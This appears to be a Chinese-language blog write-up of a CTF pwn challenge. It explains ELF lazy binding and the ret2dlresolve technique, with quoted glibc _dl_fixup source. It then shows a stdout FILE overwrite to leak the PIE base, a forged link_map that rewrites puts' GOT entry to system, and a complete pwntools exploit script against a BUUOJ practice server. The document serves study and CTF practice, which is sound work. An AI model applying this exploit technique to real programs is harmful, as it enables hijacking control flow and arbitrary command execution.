放假啦*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。 烤漆+摆烂停更了好久好久好久,欠了好多好多好多债/(ㄒoㄒ)/~~(一堆复现),开启假期学习生活的第一步从还债开始
ret2dlresolve gdb调试的时候用step命令没有完整的延迟绑定过程,用stepi单步就可以了
32位 延迟绑定流程
一些重要的段 .dynamic 包含了一些关于动态链接的关键信息,重要的是DT_STRTAB, DT_SYMTAB, DT_JMPREL三项,分别包含指向.dynstr, .dynsym, .rel.plt三段的指针
对应结构体
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
.dynstr 一个字符串表,相关数据结构引用一个字符串时,用的是相对这个section头的偏移
.dynsym 一个符号表,每个结构体记录一个符号
对应结构体
1 2 3 4 5 6 7 8 9 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;
.rel.plt 重定位表,也是一个结构体数组,每个项对应一个导入函数
对应结构体
1 2 3 4 5 6 7 8 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend; } Elf32_Rela;
_dl_runtime_resolve
先看一下link_map的结构,使用的到的只有两个成员
1 2 3 4 5 6 7 8 struct link_map { ElfW(Addr) l_addr; ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; …… }
l_info成员指向了之前说到的.dynamic段
l_addr我的理解是如果开了PIE它的值就是PIE基址
_dl_runtime_resolve实际调用_fl_fixup函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { …… } …… result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); …… value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
调用_fl_fixup结束后_dl_runtime_resolve的汇编码如下
将返回的函数真实地址放入栈顶, ret 0xc 在将rip跳转至函数真实地址的同时栈帧上调0xc,刚好是函数的参数(32位函数参数放在栈上)
(终于结束了我的天呐)
64位 延迟绑定流程
主调函数跳入对应.plt.sec,.plt.sec内容如下:
跳至对应.plt,入栈index,跳转至plt[0]
入栈linkmap地址(got[1]),执行_dl_runtime_resolve_xsavec(got[2])
_dl_runtime_resolve_xsavec
64位传参从栈变成了寄存器,所以_dl_runtime_resolve_xsavec有些不一样
利用 32位 NO RELRO 伪造.dynamic段的字符串表
Partial RELRO Partial RELRO下.dynamic只读,无法修改,这时候和延迟绑定有关且在可写段的只有link_map,所以可以伪造link_map,见例题
漏洞和利用 input函数存在漏洞
首先输入覆盖a1[0]~a1[128(0x80)]
v3的类型为char(范围-128~127),本题中加到了128会溢出为-128,所以本题中加减的地址为0x4140(content)和0x40c8(ptr),会溢出为0x40c0(pptr)和0x4048(char类型值和__int64类型值相加char类型值会被符号拓展为8字节,c语言基础忘的一干二净了)
程序中几个重要数据关系
我们可以通过溢出修改*pptr指向stdout(0x40c8→0x4080)
1 pptr->stdout ->_IO_2_1_stdout_
这样当询问”Photo(URL) >> “取*pptr时我们实际上修改的就是_IO_2_1_stdout_,可以泄露pie基址
再通过溢出修改*pptr指向link_map(0x4080→0x4008),询问”Hobby >> “就能修改link_map了
ps:我本来想这么麻烦不如直接改puts的got表,但puts的got表地址最低字节是0x20就是空格,会被过滤掉根本发不出去,淦🙂
link_map的伪造 _dl_fixup函数中按符号查找的部分如下
1 2 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL );
函数名是由strtab + sym->st_name得到的
这道题需要在free延迟绑定的时候将puts的got表改成system的地址,所以还需要伪造一下link_map->l_addr
将获取的函数真实地址写回got表的步骤如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); ……return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);static inline ElfW (Addr) elf_machine_fixup_plt (struct link_map *map , lookup_t t, const ElfW(Sym) *refsym, const ElfW(Sym) *sym, const ElfW(Rela) *reloc, ElfW(Addr) *reloc_addr, ElfW(Addr) value) { return *reloc_addr = value; }
puts的got表就在free后面所以pie基址加8就行
伪造出来的结构大概这样
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * context.log_level='debug' context.os='linux' context.arch='amd64' p=remote('node4.buuoj.cn' ,26613 ) libc=ELF('./libc.so.6' ) elf=ELF('./pwn' ) p.sendafter(b'Age >> ' ,b'\x00' *0x80 +b'\x80' ) p.sendlineafter(b'Photo(URL) >> ' ,p64(0xfbad1887 )+p64(0 )*3 +b'\xb0\x5d' ) pie=u64(p.recv(6 ).ljust(8 ,b'\x00' ))-elf.symbols['stderr' ] payload=b'/bin/sh\x00' + p64(pie + 0x4140 - 0x67 ) + b'system\x00' payload=payload.ljust(0x80 , b'\x00' )+b'\x08' p.sendafter(b'Name >> ' ,payload) payload = p64(pie + 0x8 ).ljust(0x68 , b'\x00' ) + p64(pie + 0x4140 ) p.sendlineafter(b'Hobby >> ' ,payload)print (hex (pie)) p.interactive()